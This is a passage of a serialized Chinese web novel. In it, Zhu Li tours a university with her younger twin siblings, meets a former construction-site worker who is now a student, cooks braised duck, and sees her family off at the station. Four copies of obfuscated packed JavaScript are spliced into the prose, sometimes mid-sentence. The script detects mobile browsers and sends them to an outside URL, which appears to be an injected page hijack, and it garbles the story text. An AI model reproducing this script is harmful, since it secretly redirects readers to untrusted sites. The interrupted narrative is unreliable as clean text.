“怎么会,奶奶,你做的味道就是家里的味道,我怎么会觉得难吃。”朱莉真是受宠若惊了。 很小的时候连垃圾堆都翻过,朱莉真的只对自己做菜要求高而已,只要是粮食,她都爱。 朱春华最爱吃榨菜豆腐炒肉丝,刘敏秀爱吃这个黏糊糊裹了很多面粉的糖醋排骨,文超爱吃冬瓜虾米炒腊肉,文雯爱吃红烧带鱼,莉莉爱吃青椒炒茄子,钱一花做每一道菜都是有讲究的。 菜清盘,饭清盘,文雯悠哉游哉撕葱油饼吃,文超誓要把牛肉粉丝汤清空。 排了一天队,腿肚子发胀,晚上沾床就睡。 第二天只想去个安静一点的地方玩。想了好久,去大学。 他们大清早预约,华大的参观名额早就满了,网上搜了才知道要提前一个星期预约。华大旁边就是华市师范大学,朱莉觉得都是大学嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13047430|134963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,去看看再说,人多再转去别的地方。美术馆、博物馆、天文馆都可以。 进门就是一条长林荫道,右边一个篮球场,几个学生在打球,朱莉没有正式进过校园,看什么都新鲜。后面俩小孩更是只能想象,连想象都受见识局限。 朱文雯对校园的认识完全从校园青春偶像剧里来,很大的有阶梯的教室,望过去老师都是缩小版本,路上随时有抱着书本的学生走过,很宽敞漂亮的宿舍。 电视剧也就取局部的景,也看不出来具体是哪个学校。 朱文超更是了,他平时很少看电视,看还看的是卡通或动漫,他对真人演的根本就没兴趣。 看右边篮球场,龙凤胎想法各异。 朱文雯眼睛发光:哇,大学里真有篮球少年! 朱文超想到的是这些人好有活力,他也想成为其中一员。高中的篮球场只属于体育生,上体育课也基本是完成任务,大家除了学习还是学习,不知运动是何物,整个环境让他很闷。 进门一个篮球场,已经让他们有了无限好感。 沿着林荫道再往前走,一块很大的广告牌,是个留学广告,广告牌旁一排共享单车。校园里竟然有共享车,不管是留学广告还是共享单车,再次刷新他们的认知。 朱莉以前的校园是个分校区,进门一幢学校下辖的酒店,再进去就是两排相对的建筑,四幢教学楼,一个餐厅,五幢宿舍,一个操场。半个小时能走完一圈。 他们走在林荫道旁边,中间不时有骑着自行车或开着电瓶车的大学生经过。走了五六分钟吧,又是一个大操场。三人就进去看了看。 里面还挺多人,跑步的,还有带着小孩来跑步的。草地上一堆一堆集中的人,远处整齐地站了三排学生,前面老师不知道在跟他们讲些什么。看上去像是学校里的人,或者是住在附近的。 像他们这样的游客也很好辨认,兴奋拍照的就是。 朱莉问弟弟妹妹们要不要拍照,他们都摇摇头,此时只想融入沉浸这个氛围中,并不想拍照。 朱莉在心里纳闷,也就一街之隔的两个校园,怎么大家都往隔壁挤? 其实这答案应该全国人民都知道——全国人民上到八十岁老妪,小到三岁刚识字的儿童,只认识华大。 出了操场脚已经开始酸了,此时后悔刚刚没扫辆共享单车来骑。林荫道真的好长,走到头分叉口还是没看到集中的教学楼啊,他们选择左转,路上骑自行车和电瓶车背着书包来来去去的人最多,只有他们这些游客是走路的。 终于看到三幢建筑了,上面写着教七楼,教八楼,教九楼,那前面至少还有六幢教学楼,结果他们往前骑,什么科技楼,演播楼,校医院,学十一楼。 朱莉感慨,“在这读书没交通工具还真不行。” “姐,一个大学竟然这——么大,这不得迷路啊?”她现在就已经晕头转向,怎么出去都是个问题。 食堂还分员工食堂,第一食堂,第二食堂,路过一个便利店,朱莉和弟弟妹妹停下要进去买杯饮料,结果在门口遇到了个熟人。 朱莉定睛一看,这不是工地做暑假工那男孩儿嘛。 36.第 36 章 朱莉定睛一看,这不是工地做暑假工那男孩儿嘛。 男孩儿比朱莉还先认出来,因为她那有特色的长相。他摆手叫了声:“姐姐,还记得我吗?” 陌生男孩叫他们老姐“姐姐”,龙凤胎神色立马严肃,我们的姐! “当然记得,你是这个学校的?” 这熟悉的笑脸一下就让他回到了那个在烈日汗如雨下的日子,三轮车摊上的中饭是他每天一大动力。这个姐姐还老是想方设法的给他多盛一点。 这个姐姐一看岁数也不大,是他在工地唯一能见到的同龄人。 暑假时,他一人在陌生城市的陌生工地上,整个工地就他一个十八岁男生,其他最小的都比他大十四五岁了,大多数都是和自己爸爸一样年龄。 他一个从来没出过出生城市的人来说,特别孤立无援。 工地上的大哥大叔们大多都很好,但见不到同龄人,又每天生活在已经对生活屈服,或者说已经习惯出口来几个不干净词汇的大人们中间,真的很容易丧失掉积极向上的信心。 这时候这个姐姐就出现了,她整个人给人的感觉使不完的力气,积极向上。无论是说话中气十足的声音还是举手投足的利落。而且她的为人处世,从周振目前的认知来说,非常认同。 她不会因为一个大叔就买一个菜一份饭而露出任何嘲笑或看不起的话语或表情,但如果有人插队,或者言语中带着不太友好的“妹妹,给你哥哥多盛点”之类的,这个姐姐真的有立马走人,宁不做你们所有人生意的气魄。 这给当时的周振带来了很大的坚持自我的勇气。 当然,她做饭也是从小到大没吃到过的美味。 那段时间每天干活干的短袖就没干过,上午最期待中午那顿饭,有肉,有足够吃饱的米饭,下午就好熬多了,第二天马上又来了。 那一个月他吃的肉可能有过去两年的量。 离开工地那天,还为没吃到盒饭遗憾了好久。开学因为军训加上要熟悉学校的各种事情,实在腾不开身来,才到现在都没去买上一盒。 前阵子网上那恶意抹黑的视频他也看了,但心里总有预感,老板肯定能解决的,事实证明预感很准。 周振站定,微微笑着说:“我是地理科学学院的。”他指指,“就在前面那幢楼。你们是来参观的吗?” “是,我带弟弟妹妹来看看大学校园。” 旁边文雯挥了下手,“哥哥好。”文超的声音略微小些,更腼腆。 周振和文超动作如出一辙,挠挠头,腼腆地回:“你们好。” “你们是刚进来吗?还是已经参观完了?” “进来不久,你们学校太大了,绕不完。” “我刚开学进来时也觉得太大了,迷路好几回。熟悉了就还好,我们每个学部都有自己的教学楼,基本不会去别的学部。”顿了顿,“我和你们一起走吧,待会要出去的话可以直接走北门,省的走回头路。” “那太好了!”文雯率先回答。 朱莉得意满满,“姐的人脉都到华师大了。”又问:“弟弟,我们会不会耽误你事儿啊?” 周振摇头,“不会,我下午没事儿。” 周振早上四点五十起来跑步,回宿舍洗完澡就去了自己学院的一个空教室,六点空腹学到十点。 平常中午一直吃的苏打饼干,吃太饱学习会犯困,当然也能省钱。今天苏打饼干一包都没了,就打算趁现在人少早点过来买。 还真是巧了,饼干早一天晚一天吃完,都不会碰到他们。 按计划下午做教材后面七道习题,晚上能补完就补,十点补不完就明天早点起。难得在学校碰到认识的人。应该说,他在华市也不认识什么人。 一起出发前,四人交换了名字。虽说认识,脸也熟,但名字还没知道呢。 朱莉和弟弟妹妹们不再抓瞎式的这边逛逛,那边逛逛。周振也扫了辆车,骑在稍前边,给他们介绍各个学院,图书馆,食堂,体育馆。 不说朱莉,朱文雯和朱文超才知道,原来大学里是分学院的,有教育学院的,地理科学学院的,文学院,心理学院,哲学学院,法学院,生命科学学院等等好多好多,光学生宿舍楼就是十几幢,还分布在不同区块,食堂有四个,还有西餐厅,咖啡馆,超市和面包店。 “那哥哥,师范学校读出来就是做老师吗?怎么还有法学院?”朱文雯甚至没听说过哲学学院和生命科学学院,真的有人学哲学?生命科学学出来又是做什么的?法学院毕业出来教什么?初高中都没有这门课。 周振耐心给她解释:“不全是。应该说,只是很少一部分才会做老师。很多人读研或留学时都会选择换学校或换专业,不换的,哪怕是要做高中老师,也得是硕士文凭,教大学的话得读到博士。本科毕业要做老师最高只能教初中。局限性很大的。况且现在只要不是专业性很强的工作,其实什么专业的人都可以去做的。读哲学的人毕业出来做歌手的都有。专业和工作没必然联系。” “自然,如果就读专业和自己的喜好和工作都匹配的,那是最好的。” “哥哥,你读的专业是自己喜欢的吗?” 这个问题周振还真是有一分钟没出声,四人继续往前骑着,“目前不太确定。” 文雯很快就问:“为什么?” “地理是我高中最好的科目,学起来也轻松,当初报的这个最保险。先进一个排名靠前的大学要紧。再怎么样做个老师没问题。但,我比较倾向于以后做律师。” 这其中牵扯的问题有很多,首先,转专业得等到第二学年,而且原专业两个学期都得考到年级前三十。他自身呢,也对自己的性格是否适合做律师抱有怀疑。 周振想做律师是有原因的,他爸爸在外面打工多年,拖欠工资已经遇到不是一两次了。每次见父亲扛着一蛇皮袋行李哼哧哼哧出门打工,风里雨里晒的,到头来工资能不能按数发都是个问题,心里很不是滋味。 要是不按数发,找理由这扣一点那扣一点,哪怕一点理由不给你,就是蛮横的扣掉一部分,也拿他没办法。因为农民工签的都不是企业职工合同,有的劳动合同都不和你签。 不签能撂挑子不干吗,不行!老板坏透顶了,不签就换人,自然有的是人不签都愿意干。但像他爸爸这个岁数的,已经没有多少工种可以选择了,要赚钱只得干。到时只能由老板看心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13057675|134963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情给钱。 就算几个月半年白干了,你也没办法告他。一上法庭,人家就拿合同漏洞说事。那合同就是完全按照他们的利益出发的,专在这上设陷阱。闹到法庭,也算是完全得罪老板了,不光这个工地的钱捞不着,他还要打电话给所有认识的工地不收你这个人。 到这一步,文化知识不多的农民工就真叫走投无路了。 这些都算后话,农民工上哪去告都不一定知道。 便民服务多数是摆设,花钱请律师人家才给你认真办事。律师费又得按照全部追回金额的至少百分之十算,五万就是五千,一审解决不了还得二审,还得给二次律师费。 人家老板能拖,农民工拖不起啊,只好再立马进入下个工地。接下来又得看这个老板发工资时是否大发善心了。如此恶性循环。 这些都是周振网上搜到的。 他就想着,如果他成为律师,一切法律条文都能信手拈来了,就不会让父亲再吃这样的哑巴亏。还有像他父亲这样的农民工。 听说当律师干得好的话,是很赚钱的。他如果赚了钱,就不让父亲再外出干活了,爷爷奶奶也不用这么大岁数还种地卖菜了。他要把爷爷奶奶都接到城里享受下便利的生活。 问题是,周振是个说话都要在心里想半天的人,他一直认为自己嘴笨,嘴笨的人怎么做律师? 这种两难问题在这之前完全不在龙凤胎的思考范围内。朱文雯今天不想明天的事,有事还有超超可商量。 这方面是朱莉的局限,她只能用自己做事的思维来,“有没有什么和律师相关的实习,没有特定专业限制的?” 这事周振也想过,“实习也得过法考。除非前台。” “你本来就是地理专业,找个实习老师应该要容易些吧,或者那些培训机构,或者……家教之类,这些我也不是很懂,教教说不定就知道自己能不能长久的接受做一名老师了。” 周振若有所思,“好,姐姐我先去试试看。” 这问题都缠绕他半个暑假加开学一个月了,虽然每天都很认真努力的上课听讲,但闲下来时又对自己的未来很迷茫。 小朱姐说得对,反正现在就两个选项,要么地理老师要么律师,律师现在没办法试,先教教地理看,能接受就不用费脑筋想转专业的事了,不能接受那这选项就排除了,只剩下律师了。到时一门心思转专业就行了。 华市师范大学学生找家教工作不难。 朱文超一直没说话,也不问问题。他在想前两天姐姐问的问题,有没有特别想做的工作。嗯……现在还是回答不了,不过他感觉这是一个很重要的问题。 路过三食堂,朱莉上午在网上搜时,听过一耳朵这学校的三食堂也对外来人员开放,问过周振经确定后,四人进了食堂。 如果不开放,那她就打算请他们三人去外面吃了。总不好刷周振同学的卡,钱就算转过去,以他和弟弟这相似的性格,对着手机屏幕点不点收就得纠结半天。 周振介绍:“一楼是普通食堂,二楼小吃多些。” “你们随便选,我请客。” 两人男生无一人发言,文雯积极踊跃发言:“二楼二楼。” 37.第 37 章 二楼是一间间用三夹板隔开的店铺。 朱莉走在最后面,毕竟这里她岁数最大,先让他们选。要是看到舍不得点的,她在后面就顺便点了。 两个男生迟迟不下决定,朱文雯想吃的可多了。一家家走过去,“姐,我想吃麻辣香锅,我还没吃过麻辣香锅呢。” “可以啊。” “欸,这里还有卤肉饭和肉夹馍,我也想吃。” “也可以啊,吃嘛。”朱莉回。 再往里走,只见店老板从一个巨大瓦罐里拿出一个比手大些的小瓦罐,朱文雯眼睛亮了,放掉超超的两根手指,小跑过去,“这是什么啊?” 这回回她的是店老板,“瓦罐汤。来一份吧,一个套餐里有一盘主菜,一份瓦罐汤,一碗饭。” “主菜是什么?”文雯紧接着问。 店老板指指头顶上的招牌,并说,“可以选口水鸡,盐水鸭还有新奥尔良烤鸡腿。” 文雯随着她的视线望上去,好新鲜的吃法,无论如何得来一份,“姐,我要吃这个!” “决定了?” 文雯重重点头,“嗯!” 妹妹停下等她的口水鸡套餐,文超也很快下了决定,走回两个摊位,跟姐姐说要吃巴西烤肉木桶饭。周振是木桶饭旁边的油泼面。 隔壁烤鱼小铺本不起眼,一位穿着厨师衣服,戴着厨师帽子的大叔端着烤鱼从里间出来,文雯的视线又随着烤鱼走了。大叔将烤鱼端到近处一张餐桌上。 烤鱼架子下是一小块点燃的蜡烛,铁盘子里的鱼汤咕嘟咕嘟沸腾,冒着热气,烤鱼上面辣椒香菜红绿相间,看着很诱人。 朱莉看妹妹两眼放光,不用她开口,率先说:“烤鱼也来一份。” 做生意的老板耳朵尖着呢,下一秒就问:“好嘞,一条烤鱼是吧,要等二十五分钟可以吗?” “可以。”现在时间还早,下午没什么事,等一会儿也没什么,正好歇一歇。 老板给了朱莉一个号码牌。朱莉去找了个空桌放着,给他们指了指放号码牌的桌子,“你们先去吃,我买饮料。” 二楼这边也就一家卖饮料的小店,卖手打柠檬茶。 朱文超这边,巴西烤肉木桶饭也很快,老板娘端了个小木桶出来,“沙拉酱还番茄酱?” 文超想了几秒,“沙拉酱。” 老板娘快速的在烤肉上面挤了一圈沙拉酱,“酱菜自己加。” 他现在对免费加的东西都有阴影了,只加了平平的两勺就端上去等隔壁的周振了。 这三个小孩把餐盘端到座位上也没有马上吃,留文雯坐着,两个男生走来了。 四杯手打冰柠檬茶,送了四只小鸭子。朱莉自己一杯,另外三杯他们拿着,文雯那杯自然文超拿着。 这些饭可得他们意了,从来没见过,从来没吃过。而周振呢,虽见过,可从舍不得买来吃。周振总听是室友说起多想念他的家乡美食油泼面,这油泼面到底什么味道。 还有一个原因,油泼面在楼上这些店里,算是便宜的。小朱姐那么热情的问他吃什么,他总觉得自己付会令她扫兴。 三样食物里,就数油泼面的气味最霸道,辣椒粉与大蒜经热油一泼,香味完全激发出来。周振将面与辣子拌匀,整个面都红彤彤的了。来上一口带着蒜粒的面条,噢,原来是这个味。辣子真香,香而不辣。 这一口香的,简直可以和肉媲美了。 朱文超对自己的木桶饭也很满意。不过造型上,有那么小十分的不满意。他以为木桶饭,饭是装在木桶里的,结果,是盛在一个不锈钢碗里,这个碗放在木桶里。 文超从上到下舀了一勺,品了品,自个儿觉得还不错,烤肉烤的干,有微微焦香,刚刚只尝到一点点沙拉酱,但那一点点味道他觉得是整口饭的点睛之笔。这烤肉饭应该拌匀了吃。 拌到肉眼看上去,烤肉、酱菜和沙拉酱都均匀了,每一口都能吃到里面所有的料。再来一口,吃的眯起了细长的眼睛,满意了。有沙拉酱甜甜的味道,有烤肉,腌黄瓜,酱绿豆。 连吃几口饭,有些腻了,来上一口柠檬茶,哈,清爽至极啊。 文雯勺子搅拌着瓦罐里的排骨汤,里面有三块排骨,一块玉米,一块山药,下面一粒粒的不认识,她舀起来问朱莉,“姐姐,这是什么?” 朱莉看了下,“是薏米。有清凉祛湿作用。” 装在瓦罐里的汤,本身就给人一种营养滋补的感觉。文雯点这个菜就是被这个瓦罐给吸引的。 但,也许是这几天喝过了姐姐做的汤吧,汤没有装汤的瓦罐更吸引她。有些淡。“姐姐,你要不要尝下,我觉得还是没你炖的排骨汤好喝。” 周振抬头:“小朱姐做的菜确实好吃,我到现在还没吃到超过那些菜味道的。” “这么说,我又有做瓦罐汤生意的想法了。”朱莉另拿了个勺子喝,“汤也不错的,调料放的很少,就是食材本身的鲜。” 倒是口水鸡的味道让她意想不到,辣椒油不辣,倒在鸡肉上特别特别特别鲜,但这个鲜又形容不出来。文雯让朱莉尝:“姐,这个好吃,回家你也给我们做吧,这份不够,我回家还想吃。” 朱莉尝了口,“行,回家我试试看能不能做出来。” 文雯还很喜欢吃这包菜丝和豆干,也是说不上来的鲜,就着能吃下整碗饭,朱莉提醒她别把饭吃完了,“还有烤鱼呢。” 整盘菜吃得一点不剩,再来喝汤,此时又觉得清清淡淡的汤好喝了。 朱莉发现弟弟烤肉饭吃得挺香,于是也从他那边挖了勺,想尝尝啥味道,回去给他做。烤肉干香,酱菜又能让这饭不那么腻。是小孩子会喜欢的口味。“再多加点酱菜就好了。” 文超点点头。 朱莉望向那个小铺子,“免费的,再去加点。” 文超摇摇头,“这样也很好吃了。” “加了好吃。”朱莉拿过弟弟的木桶饭就去给他添酱菜去了。弟弟不好意思能理解,她去给他加。 文超又把新添的酱菜拌了拌,这回味道更对了。他把最后一点刮得干干净净。 还意犹未尽,烤鱼正好上来,老板问要几碗饭。只有文雯说不用了,那就是三碗。 铁盘里鱼汤咕嘟咕嘟,和他们刚刚看到的别人吃的那份一样。上面一层辣椒和香菜碎。是鲫鱼,鱼挺大。底下有宽粉藕片金针菇豆芽这些配菜,他们也是第一次见识。新鲜的很,跟赚到一样。 周振开学前和爸爸在商场里吃过一次。在记忆中非常美好。回忆美好,烤鱼的味道也美好。 鱼肉有烤过的焦香味,炒菜炒不出来这个味。吃出了熟悉的味道,便对这鱼评价很高了。刚刚油泼面确实也没吃饱。 文雯和文超都没吃过烤鱼,一尝这肉质很紧实,有股干干的焦香味,和平时吃的鱼口感味道不一样,心里便对烤鱼有了认识。美中不足,鱼刺有些多呀。 入口焦香,但在嘴巴里来来回回地倒腾吐出鱼刺,这个过程实在是原本焦香的鱼肉咽下去就没味儿了。 文雯抱怨,“要是刺少点就好了。” “做烤鱼得用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13081664|134963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲈鱼,这是鲫鱼,不过鲈鱼就不是这个价了,好吃的话回去给你们做。” “嗯!” 总体来说还是不错的,大家也不是美食品鉴家,从小吃的就是家常菜,也没把胃口养刁。刺多就吐刺呗,鱼肉还是挺香的,鱼汤也辣的够味,配菜都融进了鱼汤的味道,下饭。 最后烤鱼和配菜也被捞的精光,饭一粒不剩。 再来口清爽的柠檬茶,酸甜的茶里透着丝丝苦涩,冲淡了嘴里的食物味。 文雯瞧着面前平排摆的四只尖叫小鸭子很满意,时不时捏几下。 想不到大学里的食堂有这么多好吃的东西,文雯想着,她要是读这学校,就一天换一样的来吃。于是她就对怎么才能上这所学校好奇了。 她问什么,周振都超耐心的替她解答。 相比之下,文超更务实些,他问的都是高中阶段每门课至少要达到怎样的成绩才能考到他这样的分数,以及自己的薄弱科目怎么学。 龙凤胎虽没有手机,但有自己的微信号,和周振交换了微信。周振让他们不懂的随时问他。“我白天可能在上课或学习,不一定能看到,但九点半之后会看一次手机,看到一定给你们回。” 如果前面参观的还无法让他们对大学心生百分百向往和冲劲的话,那这食堂就补足到了百分百。 这么聊着吃着,十一点进去,竟然十二点半才出食堂。 从食堂出来,大家的手打柠檬茶都还剩大半,只有文雯的只剩个底了。她说自己好渴,拿出矿泉水来咕嘟咕嘟灌了小半瓶。 朱莉没跟妹妹说是因为她那份口水鸡里放太多味精了。吃得开心就好,至于放太多的问题,她又不是天天吃。 这个点路过的学生多起来,同样是学生,高中生和大学生身上的气质是不一样的。而且这种气质只有这两个阶段的人他们自己才嗅的出来。 又逛了会儿,周振把他们送到南门,才接着找了个空教室继续学习。 回到家,今天龙凤胎话都很多,家里大人们就耐心听着。他们不懂学习,但听孩子们说学校的事,又说要好好学习,也考上那个大学,听着也跟着高兴。 生意恢复如常,朱莉大半夜给弟弟妹妹抢自习室的位置,有些买的月卡,周卡,朱莉只好从剩下的位置里抢。手机打开数次,终于在大半夜给他们抢到了位置,还是靠窗的,一下就买了两天的。 朱莉在打包时,收到一张照片,盛雨晴和文雯的合影,配字:活捉可爱小妹妹一枚。 却原来,朱文雯去外面倒水,看两个小姐姐打开直播,放大屏幕想看看今天有啥新菜时,文雯开口:“口水鸡。” 两个小姐姐齐齐看向她,“你怎么知道?” “朱莉是我姐姐呀。” 于是,朱文雯就被两个小姐姐,也就是盛雨晴和陈佳乐扣下了。 朱文超的茉莉花茶喝完了,出来接水,看到文雯低声喋喋不休,心里暗叹,我就知道! 文雯指指,“这是我哥。” 盛雨晴还没见过现实中的龙凤胎,她的好奇心又重,只想把他俩扣下好好问问龙凤胎之间从小到大是怎么相处的,会经常吵架吗,会不会真有心有灵犀一说。 还不待她开口,朱文超一声“姐姐好”说完,就立马掀帘子逃了。帘子里,大家都默契地保持无声状态,谁也不能打扰别人。 这只是中间一个小插曲,多数时间两人都是在认真学习的。比在老家在各自房里做题都要专注。四号下午开始,全家的情绪都不怎么高了。分别又进入了倒计时。 38.第 38 章 朱莉下午又去了趟菜场,这回不是给店里采购,她拎的全是鸭腿鸭掌鸭舌头这些,要给他们做卤鸭货。 昨晚去超市买了一大堆零食,路过家连锁卤味店。 文雯文超不知道小声商量着什么,然后文雯过来扯扯朱莉袖子,“姐,你会做这些吗?” 瞧他们这眼神,都快黏在这些鸭货上了,就是心里很想很想吃了。 “会,明天就给你们做。今天想吃先买点。” 文超连连甩手,“不用了不用了,我们明天吃你做的。” 文雯拉着姐姐快速头也不回地走了。 她在老家买过这家连锁店的鸭脖子,因为学校特别流行吃这个,总看见一个同学买了后,晚自习时大家分着吃。 有次下了晚自习和超超也去买了点,妈呀,就营业员手上那一捧的量,二十五块钱,把她和超超心疼坏了。尤其是超超,吃的时候直捶胸口,恨不得把那鸭脖子的骨头也嚼一嚼咽下去。 文雯就想,姐姐这么厉害,卤鸭脖子肯定难不倒她。自己做,应该比外面买要便宜一点吧。 弟弟妹妹主动提出来的,一定要满足。光做卤鸭脖子怎么够,给他们做一大锅,卤鸭腿,鸭掌,鸭舌头,鸭脖子,鸭头,鸭胗。再卤一些素的,豆干,藕片,毛豆。 弟弟妹妹和奶奶这次回去,下次再见面就是过年了。 大家都不舍,五号这天,文雯和文超也不想在家里待着了,家里没大人,倒不如来厨房。还能和爸爸妈妈多相处一会儿。 两个人也戴上头套口罩和手套打包,五个人打包,均摊下来每个人的工作量也不大。 这时也没有要补的菜,朱莉开始给弟弟妹妹做卤鸭货。 先配一个卤料包。缺的栀子花白蔻朱莉刚刚也去买回来了,不过栀子花先不放进去。 这个卤料包是朱莉的独家配方,她拿出小纱布袋子,看了眼监控,无声说了两个字——秘密。 于是,她就让文雯和文超过来,替她挡住镜头。 这种神秘的事情,朱文雯最乐意干了。其实这监控没有声音的,但文雯还是声音很轻地问,“姐,这配方哪来的?悄悄告诉我。” 朱莉也发出和她一样的声音:“自己研究的。花点时间,一样样尝过去就可以了。” 在厨房潜下心来待个十五六年,一门心思在如何把味道做的好点,再好点,再好点上面,总会有些突破的。那当然不是十次二十次地尝试,而是结果没出来之前所有的失败都不算数。 师父手中的卤料配方已经很好了。但朱莉先天有种要做出自己印记来的信念。她不喜欢拿来就用。 为了学怎么调配出自己满意的卤料配方,要好吃,还要兼调理功能。朱莉求师父通过国宴厨师进修名义开的申请,去药学院听了一年的中药课程,学习识别中药材和熟悉药材性能。 上中药材课的老师是个退休返聘的老教授了,上课旁征博引,一年两个学期,记了五本笔记。 尽管当时酒店工作也很忙,朱莉还是抽空把上面的都背下来了。期末考试认药材和背性能,她一个没错。这才能够在卤料配方上信手拈来。 这种花时间得到的配方,朱莉是不舍得让别人知道的。 文雯和文超见姐姐这个袋子里抓一点,那个袋子里抓一点,闻一闻,再抓一点。 “像老中医抓药。”文雯笑说。 朱莉厚脸皮地说:“要不是做厨师太有天分,我就去学中医了。” 不锈钢面盆里大半盘鸭货,血水都已经泡出来了。 先要给这些鸭货焯水,鸭脖子先放,接着鸭腿,鸭掌,鸭头,最后鸭舌头和鸭胗。 接着熬卤汁,半锅冷水,把卤料包放进去,第一遍煮沸腾的水不能用,倒掉,第二遍再把栀子花加进去,煮到沸腾,加花椒藤椒辣椒等干料,再酱油老抽和蚝油。给弟弟妹妹吃,辣椒就要酌情减量。 先把鸭脖子和鸭腿放进去煮,这两样需要的时间最长,二十分钟后放鸭掌和鸭头,最后要出锅前的十五分钟放鸭舌头和鸭胗。这两样放太早口感会变老。 此时所有鸭货都已经上色了。 朱莉做的时候,弟弟妹妹就在旁边看着。眼睛放光,直咽口水。 当他们看到第一波捞出来的鸭舌头和鸭胗已经变至酱色,“和店里的一模一样!”文雯兴奋地跳起来,文超“嘶”了声,大家看向他,他很不好意思地想擦掉口水,却发现自己是戴着口罩的,赶紧说:“我去换个口罩。” 朱莉超有成就感,拿出两个卤好的鸭腿先放一边,“先一人一个鸭腿解解馋。其他的再浸一会儿更入味。” 最后放豆干、藕片和毛豆,六七分钟就可以了。 关火后,朱莉再把豆干、藕片、毛豆都拨一边,盛出来的鸭货再放回锅里浸着,盖上盖子。 香味弥漫着整个厨房。 文雯和文超一人一个鸭腿,他们吃的地方都离打包区域很远,在门边。 满满一锅卤鸭货呀,直播间里的人都馋疯了: ‘又是想成为老板弟弟妹妹的一天。’ ‘四十岁的阿姨表示,年龄是回不去了,但是钱袋子鼓鼓的,能专门为我做一锅吗?’ ‘是哦,老板,能单独预定吗?您要嫌麻烦,原材料这些我自个儿送上门去。’ ‘卤料包啊,卤料包,我最好奇这个卤料包了。市面上的卤料包买过两次,不同牌子的,总觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晚上,朱莉拿了一部分卤鸭货回家,点了六杯手打柠檬茶,投上一集九十分钟的综艺,一家人边吃鸭货边看综艺。 奶奶对现在的综艺内容接受有障碍,很多地方不知道笑点在哪里,但她不缺给她解释的人呀。 说说笑笑,真不想综艺结束。 文雯又收集了六只鸭子,加上前几天的四只,给它们排成一列。看综艺的过程中,总有那么几种鸭子突如其来的“咕嘎”几声。 可惜老家没有这种手打柠檬茶的店了。 39.第 39 章 十点的火车,八点半就得从家里出发。 朱莉早早在厨房忙活,要坐七小时动车,多做点吃的好打发时间。 冰箱里的卤牛肉切片,做凉拌牛肉。腐竹泡一些,做凉拌腐竹。再炒个两荤两素,弟弟妹妹们可以用零食打发时间,老人家饭点还是习惯吃饭的。 菜提前一天就想好了,两盒黄豆炖猪蹄热热带上,黑椒牛仔骨用黄油煎更香,装上一盒。再炒个青菜和酸辣土豆丝,奶奶喜欢吃。 另外,水果也不能少,苹果橙子车厘子和李子洗好分装进保鲜袋里。朱莉还怕弟弟妹妹吃太多,在火车上又动得少,消化不好,给他们专门放零食的小行李箱里放了三瓶酸奶和冻柠茶。 家里打包盒子最不缺了,吃的都装打包盒子里,再用保鲜膜封住防止漏出来。 盒饭是车上的午饭,下午五点到站,回家做饭太晚了。晚饭也给他们准备好,用绿豆面和玉米面和的杂粮馒头,奶奶喜欢吃。凉拌菜荤的素的都有,卤鸭货和超市里买的零食是让他们中间当零嘴的。 小行李箱里被吃的塞的一点空隙都不留了。 行李箱拉链拉上,又是分别时候了。 刘敏秀一直交代他们,“有事打电话,需要老爸老妈赶回来就说。听奶奶的话。好好学习,身体也很重要,要注意休息。过马路要看红绿灯,绿灯只剩几秒,宁可等下个绿灯,也不要快速冲过去知道哇?跟同学好好相处,在外面被人欺负要跟家里说。”刘敏秀原本没这个意识,最近一条初中生被校园霸凌致死的新闻,看的她心里非常不安。“听到哇,被欺负一定要说,不要憋在心里。再有三个月就可以到这里来读书了,再坚持坚持……” 刘敏秀一边一个牵着他们,顿了顿,是在想还有什么漏说的。文雯这两天听妈妈说这番话已经听了不下二十遍,“老妈你都说了很多遍了,放心放心。” 朱莉和爸妈都买了最近一站的票,这样还能进去送他们,直到看到他们检票进站。 一个大行李箱,一个小行李箱,龙凤胎拿着,奶奶背了一个背包。 “回去听奶奶的话,最长也就三个月就能见面了。”朱春华一路上几乎没怎么说话,又对老娘说:“妈,你自己也要注意身体啊,累就地里少种点。” “地里干活一点不累,我闲着不做事才累。” 八天前接他们的情景还历历在目。 回到家,床垫收拾好放到阳台。六个人的时候,家里说话声不断,热热闹闹的,突然安静下来真不习惯。尽管这八年来年年都要经历这样的分别和不舍,那也从来没习惯过。分别是不可能习惯的。 